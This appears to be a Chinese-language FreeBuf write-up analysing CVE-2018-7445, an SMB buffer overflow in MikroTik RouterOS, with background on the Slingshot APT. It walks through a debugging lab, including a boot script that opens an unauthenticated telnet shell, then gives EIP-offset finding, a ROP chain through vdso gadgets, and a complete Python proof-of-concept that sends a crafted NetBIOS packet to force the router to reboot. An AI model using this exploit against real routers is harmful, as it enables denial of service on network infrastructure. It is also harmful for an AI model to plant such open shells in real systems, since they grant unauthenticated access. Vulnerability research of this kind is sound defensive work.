一. 漏洞概述
CVE-2018-7445 MikroTik RouterOS SMB 緩沖區溢出
參考信息:https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow
漏洞固件版本:
mikrotik-6.40.6.iso x86版本
下載地址:https://mikrotik.com/download
Mikrotik的漏洞最早進入視野(我的)是去年早些時候泄露的CIA武器庫。根據卡巴的信息,有APT組織對mikrotik的漏洞用的很多:
幾天前,卡巴斯基實驗室的安全專家宣布已經發現了一個新的復雜的 APT 組織,該組織從至少 2012 年起至少已經在雷達中運行。卡巴斯基跟蹤該組織,并確定了它使用的一系列惡意軟件,稱為 Slingshot,以妥協中東和非洲數十萬受害者的系統。
研究人員已經在肯尼亞,也門,阿富汗,利比亞,剛果,約旦,土耳其,伊拉克,蘇丹,索馬里和坦桑尼亞發現了約 100 名彈弓受害者并發現了其模塊。肯尼亞和也門迄今為止感染人數最多。大多數受害者是個人而非組織,政府組織數量有限。APT 組利用拉脫維亞網絡硬件提供商 Mikrotik 使用的路由器中的零日漏洞(CVE-2007-5633; CVE-2010-1592,CVE-2009-0824)將間諜軟件放入受害者的計算機中。
攻擊者首先破壞路由器,然后用文件系統中的惡意代碼替換它的一個 DLL,當用戶運行 Winbox Loader 軟件(Mikrotik 路由器管理套件)時,該庫將加載到目標計算機內存中。
該 DLL 文件在受害者的機器上運行,并連接到遠程服務器以下載最終有效負載,即卡巴斯基監控的攻擊中的 Slingshot 惡意軟件。目前還不清楚 Slingshot 團伙是否也利用 CVE-2018-7445 漏洞危害路由器。
二. 漏洞分析.
2.1 搭建router os分析環境
先安裝router os, 打開iso文件,刪除掉默認硬盤,增加一個IDE硬盤

開機

按a選擇全部,然后I安裝,一路y

安裝完成后重啟,admin和空密碼登然后setup命令設置ip

如果一切順利此時可以ssh連接到rooteros了
Rooteros不支持一些基本的linux命令,為了更方便的操作,需要將busybox和gdbserver 放進去.
將cd選擇為一個ubuntu的鏡像

選擇開機前進入bios設置啟動選項,

選擇先從cd啟動

再重啟虛擬機, 選擇 try ubuntu

進入系統后,將 /dev/sda2 mount到創建的臨時文件夾

把busybox和gdbserver 拷貝到bin目錄下

并創建如下路徑的腳本,當路由器系統啟動的時候會自動執行此腳本

PS:要修改這3個文件為可執行
腳本內容:
#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash
再重啟路由器后,就可以通過telnet連接進去
telnet192.168.174.160 23000

telnet成功
Namp 掃一下,發現并沒有開139端口.
需要使用如下命令打開SMB服務.
Ip smb setenabled=yes
再用 ip smb print 查看

Nmap確認一下

Gdbsever attach上去, gdbserver 192.168.174.153:1234 –attach $(pidof smb)

好的,IDA遠程調試, fire inthe hole
2.2 控制eip
棧溢出發生在下面函數, 其中a2為拷貝的源地址,a2第一個值被當做拷貝的長度,那么當a2第一位值大于a1的長度的時候,發生溢出

需要對服務器發送smb協議中的session信息才能進入到此函數處理中,需要如下的smb包
header =struct.pack(“!ccH”, NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(data))
先用pwntool 找下 eip的位置
x=cyclic(500) attack= header + x

cyclic_find(0x61617a61)=99
測試一下
buf = header + “\xff”*99+BBBB,此時crash在eip為42424242

2.3 rop鏈構造
Smb里面沒有dlsym,system等東西,只能看看so了,先看下加載了哪些so

# cat /proc/sys/kernel/randomize_va_space

看一下發現aslr開啟了,每次lib的地址都不 一樣。
Dep也開啟了

由于smb里面沒有引用system和dlysm函數,vdso里面有int80,那么考慮用int80來調用sys_reboot.
用gdb attach到調試程序targetremote 192.168.174.160:1234
Vdso的地址是固定的,Vdso dump下來

找到godget

sys_reboot對應系統調用編號為88

需要構造4個參數



那么構造出如下參數
ebx=0xfee1dead ecx=672274793 edx=0x1234567 esi=0
搜索godget:

構造如下的rop鏈
payload="" #準備edx ecx ebx esi參數 payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret payload +=p32(0x1234567) # edx payload +=p32(672274793) # ecx payload +=p32(0xfee1dead)# ebx payload +=p32(0x0)# esi payload +=p32(0xaaaaaaaa)# edi payload +=p32(0xaaaaaaaa)# ebp #準備eax ebx參數 payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret payload +=p32(0x00000058) # eax = sys_reboot payload +=p32(0xfee1dead) # ebx payload +=p32(0xaaaaaaaa) # ebp #call int80 payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret payload +=p32(0xaaaaaaaa) # ebp payload +=p32(0x0) # edx payload+= p32(0x0) # ecx
執行后,

路由器重啟成功!

完整poc
#!/usr/bin/envpython importsocket importstruct import sys from pwnimport * context(arch= 'i386', os = 'linux') NETBIOS_SESSION_REQUEST= "\x81" NETBIOS_SESSION_FLAGS= "\x00" payload="" payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret payload +=p32(0x1234567) # edx payload +=p32(672274793) # ecx payload +=p32(0xfee1dead)# ebx payload +=p32(0x0)# esi payload +=p32(0xaaaaaaaa)# edi payload +=p32(0xaaaaaaaa)# ebp payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret payload +=p32(0x00000058) # eax = sys_reboot payload +=p32(0xfee1dead) # ebx payload +=p32(0xaaaaaaaa) # eb payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret payload +=p32(0xaaaaaaaa) # ebp payload +=p32(0x0) # edx payload +=p32(0x0) # ecx header =struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(payload)+99) x="\xff"*99 attack =header + x+payload if __name__== "__main__": s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.174.160",139)) s.send(attack)
*本文作者:kczwa1,轉載請注明來自FreeBuf.COM
|